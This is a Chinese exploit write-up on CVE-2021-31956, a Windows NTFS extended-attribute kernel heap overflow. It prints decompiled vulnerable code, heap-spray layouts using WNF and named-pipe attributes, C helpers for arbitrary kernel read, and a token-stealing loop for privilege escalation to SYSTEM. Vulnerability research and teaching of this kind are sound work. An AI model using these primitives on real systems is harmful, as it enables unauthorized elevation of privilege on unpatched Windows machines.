作者:京东安全 Dawn Security Lab
原文链接:https://dawnslab.jd.com/CVE-2021-31956/

概述

CVE-2021-31956是微软2021年6月份披露的一个内核堆溢出漏洞,攻击者可以利用此漏洞实现本地权限提升,nccgroup的博客已经进行了详细的利用分析,不过并没有贴出exploit的源代码。

本篇文章记录一下自己学习windows exploit的过程,使用的利用技巧和nccgroup提到的大同小异,仅供学习参考。

漏洞定位

漏洞定位在windows的NTFS文件系统驱动上(C:\Windows\System32\drivers\ntfs.sys),NTFS文件系统允许为每一个文件额外存储若干个键值对属性,称之为EA(Extend Attribution) 。从微软的开发文档上可以查出,有一些系统调用是用来处理键值对的读写操作。

// 为文件创建EA
NTSTATUS ZwSetEaFile(
  [in]  HANDLE           FileHandle,
  [out] PIO_STATUS_BLOCK IoStatusBlock,
  [in]  PVOID            Buffer,
  [in]  ULONG            Length
);
// 查询文件EA
NTSTATUS ZwQueryEaFile(
  [in]           HANDLE           FileHandle,
  [out]          PIO_STATUS_BLOCK IoStatusBlock,
  [out]          PVOID            Buffer, // PFILE_FULL_EA_INFORMATION
  [in]           ULONG            Length,
  [in]           BOOLEAN          ReturnSingleEntry,
  [in, optional] PVOID            EaList, // PFILE_GET_EA_INFORMATION
  [in]           ULONG            EaListLength,
  [in, optional] PULONG           EaIndex,
  [in]           BOOLEAN          RestartScan
);

typedef struct _FILE_GET_EA_INFORMATION {
  ULONG NextEntryOffset;
  UCHAR EaNameLength;
  CHAR  EaName[1];
} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;

typedef struct _FILE_FULL_EA_INFORMATION {
  ULONG  NextEntryOffset;
  UCHAR  Flags;
  UCHAR  EaNameLength;
  USHORT EaValueLength;
  CHAR   EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

如下是查询EA的系统调用实现,查询时接收一个用户传入的字典的key集合eaList,将查询到的键值对写入到output_buffer。每次写完一个键值对,需要四字节对齐,函数内部维护了一个变量padding_length用来指示每次向output_buffer写入时需要额外填充的数据长度,同时维护了一个变量为output_buffer_length用来记录output_buffer剩余的可用空间。但是在【A】处写入键值对时并没有检查output_buffer_length是否大于padding_length,两个uint32相减以后发生整数溢出绕过检查,在后面memmove的时候实现任意长度,任意内容越界写。

_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1, FILE_FULL_EA_INFORMATION *ea_blocks_for_file, __int64 a3, __int64 output_buffer, unsigned int output_buffer_length, PFILE_GET_EA_INFORMATION eaList, char a7)
{
  int v8; // edi
  ULONG eaList_iter; // ebx
  unsigned int padding_length; // er15
  PFILE_GET_EA_INFORMATION current_ea; // r12
  ULONG v12; // er14
  UCHAR v13; // r13
  PFILE_GET_EA_INFORMATION i; // rbx
  unsigned int output_idx_; // ebx
  FILE_FULL_EA_INFORMATION *output_iter; // r13
  unsigned int current_ea_output_length; // er14
  unsigned int v18; // ebx
  FILE_FULL_EA_INFORMATION *v20; // rdx
  char v21; // al
  ULONG next_iter; // [rsp+20h] [rbp-38h]
  unsigned int v23; // [rsp+24h] [rbp-34h] BYREF
  FILE_FULL_EA_INFORMATION *v24; // [rsp+28h] [rbp-30h]
  struct _STRING reqEaName; // [rsp+30h] [rbp-28h] BYREF
  STRING SourceString; // [rsp+40h] [rbp-18h] BYREF
  unsigned int output_idx; // [rsp+A0h] [rbp+48h]

  v8 = 0;
  *a1 = 0i64;
  v24 = 0i64;
  eaList_iter = 0;
  output_idx = 0;
  padding_length = 0;
  a1[1] = 0i64;
  while ( 1 )
  {
    current_ea = (PFILE_GET_EA_INFORMATION)((char *)eaList + eaList_iter);
    *(_QWORD *)&reqEaName.Length = 0i64;
    reqEaName.Buffer = 0i64;
    *(_QWORD *)&SourceString.Length = 0i64;
    SourceString.Buffer = 0i64;
    *(_QWORD *)&reqEaName.Length = current_ea->EaNameLength;
    reqEaName.MaximumLength = reqEaName.Length;
    reqEaName.Buffer = current_ea->EaName;
    RtlUpperString(&reqEaName, &reqEaName);
    if ( !NtfsIsEaNameValid(&reqEaName) )
      break;
    v12 = current_ea->NextEntryOffset;
    v13 = current_ea->EaNameLength;
    next_iter = current_ea->NextEntryOffset + eaList_iter;
    for ( i = eaList; ; i = (PFILE_GET_EA_INFORMATION)((char *)i + i->NextEntryOffset) )
    {
      if ( i == current_ea )
      {
        output_idx_ = output_idx;
        output_iter = (FILE_FULL_EA_INFORMATION *)(output_buffer + padding_length + output_idx);
        if ( NtfsLocateEaByName((__int64)ea_blocks_for_file, *(_DWORD *)(a3 + 4), &reqEaName, &v23) )
        {                                       // Find EA
          v20 = (FILE_FULL_EA_INFORMATION *)((char *)ea_blocks_for_file + v23);
          current_ea_output_length = v20->EaValueLength + v20->EaNameLength + 9;
          if ( current_ea_output_length <= output_buffer_length - padding_length )                   // 【A】
          {
            memmove(output_iter, v20, current_ea_output_length);
            output_iter->NextEntryOffset = 0;
            goto LABEL_8;
          }
        }
        else
        {                                       // EA not found??
          current_ea_output_length = current_ea->EaNameLength + 9;
          if ( current_ea_output_length + padding_length <= output_buffer_length )
          {
            output_iter->NextEntryOffset = 0;
            output_iter->Flags = 0;
            output_iter->EaNameLength = current_ea->EaNameLength;
            output_iter->EaValueLength = 0;
            memmove(output_iter->EaName, current_ea->EaName, current_ea->EaNameLength);
            SourceString.Length = reqEaName.Length;
            SourceString.MaximumLength = reqEaName.Length;
            SourceString.Buffer = output_iter->EaName;
            RtlUpperString(&SourceString, &SourceString);
            output_idx_ = output_idx;
            output_iter->EaName[current_ea->EaNameLength] = 0;
LABEL_8:
            v18 = current_ea_output_length + padding_length + output_idx_;
            output_idx = v18;
            if ( !a7 )
            {
              if ( v24 )
                v24->NextEntryOffset = (_DWORD)output_iter - (_DWORD)v24;
              if ( current_ea->NextEntryOffset )
              {
                v24 = output_iter;
                output_buffer_length -= current_ea_output_length + padding_length;
                padding_length = ((current_ea_output_length + 3) & 0xFFFFFFFC) - current_ea_output_length;
                goto LABEL_26;
              }
            }
...

漏洞分析

在具体介绍利用之前,需要先简单了解一下windows的堆分配算法。Windows10引入了新的方式进行堆块管理,称为Segment Heap,有篇文章对此进行了详细的描述。

每个堆块有个堆头用来记录元信息,占据了16个字节,结构如下。

typedef struct {
    char previousSize;
    char poolIndex;
    char blockSize;
    char poolType;
    int tag;
    void* processBilled;
}PoolHeader;

相对偏移地址读写

这个漏洞里,越界对象output_buffer是系统临时申请的堆块,系统调用结束以后会被立即释放,不能持久化保存,这导致SegmentHeap Aligned Chunk Confusion的方法在这里并不适用。 通过实验发现windows在free时的检查并不严格,通过合理控制越界内容,破坏掉下一个堆块的PoolHeader以后,并不会触发异常,这允许我们直接覆盖下一个堆块的数据,接下来的目标就是挑选合适的被攻击堆块对象。

通过查阅资料,我找到了一个用户可以自定义大小的结构体_WNF_STATE_DATA。关于WNF的实际用法,微软并没有提供官方的说明文档,这里不展开介绍,只用把它理解成一个内核实现的数据存储器即可。通过NtCreateWnfStateName创建一个WNF对象实例,实例的数据结构为_WNF_NAME_INSTANCE;通过NtUpdateWnfStateData可以往对象里写入数据,使用_WNF_STATE_DATA数据结构存储写入的内容;通过NtQueryWnfStateData可以读取之前写入的数据,通过NtDeleteWnfStateData可以释放掉这个对象。

//0xa8 bytes (sizeof)
struct _WNF_NAME_INSTANCE
{
    struct _WNF_NODE_HEADER Header;                                         //0x0
    struct _EX_RUNDOWN_REF RunRef;                                          //0x8
    struct _RTL_BALANCED_NODE TreeLinks;                                    //0x10
    struct _WNF_STATE_NAME_STRUCT StateName;                                //0x28
    struct _WNF_SCOPE_INSTANCE* ScopeInstance;                              //0x30
    struct _WNF_STATE_NAME_REGISTRATION StateNameInfo;                      //0x38
    struct _WNF_LOCK StateDataLock;                                         //0x50
    struct _WNF_STATE_DATA* StateData;                                      //0x58
    ULONG CurrentChangeStamp;                                               //0x60
    VOID* PermanentDataStore;                                               //0x68
    struct _WNF_LOCK StateSubscriptionListLock;                             //0x70
    struct _LIST_ENTRY StateSubscriptionListHead;                           //0x78
    struct _LIST_ENTRY TemporaryNameListEntry;                              //0x88
    struct _EPROCESS* CreatorProcess;                                       //0x98
    LONG DataSubscribersCount;                                              //0xa0
    LONG CurrentDeliveryCount;                                              //0xa4
};
struct _WNF_STATE_DATA
{
    struct _WNF_NODE_HEADER Header;                                         //0x0
    ULONG AllocatedSize;                                                    //0x4
    ULONG DataSize;                                                         //0x8
    ULONG ChangeStamp;                                                      //0xc
};

举例说明,WNF数据在内核里的保存方式如下所示

1: kd> dd ffffdd841d4b6850
ffffdd84`1d4b6850  0b0c0000 20666e57 25a80214 73ca76c5      // PoolHeader 0x10个字节
ffffdd84`1d4b6860  00100904 000000a0 000000a0 00000001      // _WNF_STATE_DATA 数据结构,用户数据的长度为0xa0 0x10个字节
ffffdd84`1d4b6870  61616161 61616161 61616161 61616161      // WNF数据
ffffdd84`1d4b6880  61616161 61616161 61616161 61616161
ffffdd84`1d4b6890  61616161 61616161 61616161 61616161
ffffdd84`1d4b68a0  61616161 61616161 61616161 61616161
ffffdd84`1d4b68b0  61616161 61616161 61616161 61616161
ffffdd84`1d4b68c0  61616161 61616161 61616161 61616161

通过喷堆,控制堆布局如下,NtFE是可以越界写的 chunk,后面紧挨着的是_WNF_STATE_DATA数据结构。越界修改结构体里的DataSize对象,接下来调用NtQueryWnfStateData实现相对偏移地址读写。

0: kd> g
Breakpoint 1 hit
Ntfs!NtfsQueryEaUserEaList:
fffff802`3d2a8990 4c894c2420      mov     qword ptr [rsp+20h],r9
1: kd> !pool r9
Pool page ffffdd841d4b67a0 region is Paged pool
 ffffdd841d4b6010 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b60d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6190 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6250 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6310 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b63d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6490 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6550 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6610 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b66d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
*ffffdd841d4b6790 size:   c0 previous size:    0  (Allocated) *NtFE
        Pooltag NtFE : Ea.c, Binary : ntfs.sys
 ffffdd841d4b6850 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6910 size:   c0 previous size:    0  (Free)       ....
 ffffdd841d4b69d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6a90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6b50 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6c10 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6cd0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6d90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6e50 size:   c0 previous size:    0  (Free)       ....
 ffffdd841d4b6f10 size:   c0 previous size:    0  (Free)       ....

被篡改过后的_WNF_STATE_DATA 数据结构

1: kd> dd ffffdd841d4b6850
ffffdd84`1d4b6850  030c0000 41414141 00000000 00000000  // 伪造的PoolHeader
ffffdd84`1d4b6860  00000000 0000ffff 000003cc 00000000  // 伪造的_WNF_STATE_DATA,将用户数据长度改为了0x3cc
ffffdd84`1d4b6870  61616161 61616161 61616161 61616161
ffffdd84`1d4b6880  61616161 61616161 61616161 61616161
ffffdd84`1d4b6890  61616161 61616161 61616161 61616161
ffffdd84`1d4b68a0  61616161 61616161 61616161 61616161
ffffdd84`1d4b68b0  61616161 61616161 61616161 61616161
ffffdd84`1d4b68c0  61616161 61616161 61616161 61616161

接下来讲述如何将相对偏移读写转换为任意地址读写。

任意地址读

我们需要使用到另外一个数据结构PipeAttribution,和WNF类似,这个对象可以自定义大小。这里两个指针AttributeName、AttributeValue 正常情况下是指向PipeAttribute.data[]后面的,如果通过堆布局,将AttributeValue的指针该为任意地址,就可以实现任意地址读。遗憾的是,windows并没有提供直接更新该数据结构的功能,不能通过该方法进行任意地址写。

struct PipeAttribute {
    LIST_ENTRY list;
    char * AttributeName;
    uint64_t AttributeValueSize ;
    char * AttributeValue ;
    char data [0];
};
typedef struct {
    HANDLE read;
    HANDLE write;
} PIPES;
// 初始化pipe
void pipe_init(PIPES* pipes) {
    if (!CreatePipe(&pipes->read, &pipes->write, NULL, 0x1000)) {
        printf("createPipe fail\n");
        return 1;
    }
    return 0;
}
// 写入PipeAttribution
int pipe_write_attr(PIPES* pipes, char* name, void* value, int total_size) {
    size_t length = strlen(name);
    memcpy(tmp_buffer, name, length + 1);
    memcpy(tmp_buffer + length + 1, value, total_size - length - 1);
    IO_STATUS_BLOCK  statusblock;
    char output[0x100];
    int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
        &statusblock, 0x11003C, tmp_buffer, total_size,
        output, sizeof(output));
    if (!NT_SUCCESS(mystatus)) {
        printf("pipe_write_attr fail 0x%x\n", mystatus);
        return 1;
    }
    return 0;
}
// 读取PipeAttribution
int pipe_read_attr(PIPES* pipes, char* name, char* output,int size) {
    IO_STATUS_BLOCK statusblock;
    int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
        &statusblock, 0x110038, name,strlen(name)+1,
        output, size);
    if (!NT_SUCCESS(mystatus)) {
        printf("pipe_read_attr fail 0x%x\n", mystatus);
        return 1;
    }
    return 0;
}

理想情况下的堆布局如下所示,ffffdd841d4b6850是之前被覆盖的_WNF_STATE_DATA对象,其余的chunk被释放,然后使用PipeAttribution对象堆喷重新占回。

1: kd> !pool ffffdd841d4b6850
Pool page ffffdd841d4b6850 region is Paged pool
 ffffdd841d4b6010 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b60d0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6190 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6250 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6310 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b63d0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6490 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6550 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6610 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b66d0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6790 size:   c0 previous size:    0  (Free)       NpAt
*ffffdd841d4b6850 size:   c0 previous size:    0  (Allocated) *AAAA
        Owning component : Unknown (update pooltag.txt)
 ffffdd841d4b6910 size:   c0 previous size:    0  (Allocated)  NpAt  // 被攻击的数据结构
 ffffdd841d4b69d0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6a90 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6b50 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6c10 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6cd0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6d90 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6e50 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6f10 size:   c0 previous size:    0  (Free)       NpAt
1: kd> dq ffffdd841d4b6910 
ffffdd84`1d4b6910  7441704e`030c0000 00000000`00000000              // PoolHeader
ffffdd84`1d4b6920  ffffdd84`1c8e6cb0 ffffdd84`1c8e6cb0              // list
ffffdd84`1d4b6930  ffffdd84`1d4b6948 00000000`00000078              // AttributeName AttributeValueSize 
ffffdd84`1d4b6940  ffffdd84`1d4b6950 00313330`315f6161              // AttributeValue
ffffdd84`1d4b6950  61616161`00000407 61616161`61616161
ffffdd84`1d4b6960  61616161`61616161 61616161`61616161
ffffdd84`1d4b6970  61616161`61616161 61616161`61616161
ffffdd84`1d4b6980  61616161`61616161 61616161`61616161

根据上面讲述的方法实现任意地址读函数

int ab_read(void* addr, void* dst, int size) {
    WNF_CHANGE_STAMP stamp;
    char readData[0x400];
    ULONG readDataSize = sizeof(readData);
    NTSTATUS st;
    static char wtf_buf[0x1000];
    st = NtQueryWnfStateData(oobst, 0, 0, &stamp, readData, &readDataSize);
    if (!NT_SUCCESS(st)) {
        DEBUG("NtQueryWnfStateData fail %x\n", st);
        return 1;
    }
    PipeAttr* pa = (PipeAttr*)(readData + CHUNK_SIZE);
    pa->value = addr;
    if (size < 0x20)
        pa->value_len = 0x100;
    else
        pa->value_len = size;
    st = NtUpdateWnfStateData(oobst, readData, readDataSize, 0, 0, 0, 0);
    if (!NT_SUCCESS(st)) {
        DEBUG("NtQueryWnfStateData fail %x\n", st);
        return 1;
    }
    if (pipe_read_attr(&pipes, attackName, wtf_buf, sizeof(wtf_buf))) {
        return 1;
    }
    memcpy(dst, wtf_buf, size);
    return 0;
}

任意地址写

我通过修改_WNF_NAME_INSTANCE结构体内的指针_WNF_STATE_DATA实现任意地址写。具体操作是再次释放掉原来的PipeAttribution,使用_WNF_NAME_INSTANCE重新进行堆喷,布局好的堆如下所示

1: kd> !pool ffffdd841d4b6850
Pool page ffffdd841d4b6850 region is Paged pool
 ffffdd841d4b6010 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b60d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6190 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6250 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6310 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b63d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6490 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6550 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6610 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b66d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6790 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
*ffffdd841d4b6850 size:   c0 previous size:    0  (Allocated) *AAAA
        Owning component : Unknown (update pooltag.txt)
 ffffdd841d4b6910 size:   c0 previous size:    0  (Allocated)  NpAt
 ffffdd841d4b69d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0 // 被修改_WNF_STATE_DATA指针的WNF对象
 ffffdd841d4b6a90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6b50 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6c10 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6cd0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6d90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6e50 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6f10 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0

通过局部地址读写,覆盖掉下一个Wnf结构体(ffffdd841d4b69d0 )里的_WNF_STATE_DATA,使用对应的结构体进行NtUpdateWnfStateData操作,即可实现任意地址写。

Windows权限提升

windows权限提升的方法一般都是遍历进程链表,找到高权限进程的token(8字节),替换当前进程的token。

// 循环遍历进程链表,搜索process_id为4的进程,读取其token
  ULONGLONG token_addr = eprocess + token_offset;
    UCHAR* begin_eprocess = eprocess;
    while (1) {
        ULONGLONG process_id;
        ab_read(eprocess + process_id_offset, &process_id, 8);
        if (process_id == 4) {
            break;
        }
        UCHAR* tmp;
        ab_read(eprocess + link_offset, &tmp, 8);
        tmp -= link_offset;
        if (tmp == begin_eprocess) {
            break;
        }
        eprocess = tmp;
    }
    ULONGLONG token;
    ab_read(eprocess + token_offset,&token, 8);
    DEBUG("system token %016llx\n", token);

最后执行cmd。

总结

该漏洞的触发条件并不复杂,利用过程也比较简单,虽然windows的堆分配已经有了很大的随机化,但是大力出奇迹,很容易能够得到理想的堆布局,本地实验过程中的exp基本很少将系统打崩溃。写exp的主要时间是在学习windows系统调用如何传参,查阅了很多文档才搞清楚WNF的用法。总体来说难度不大,非常适合初学者入门。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1798/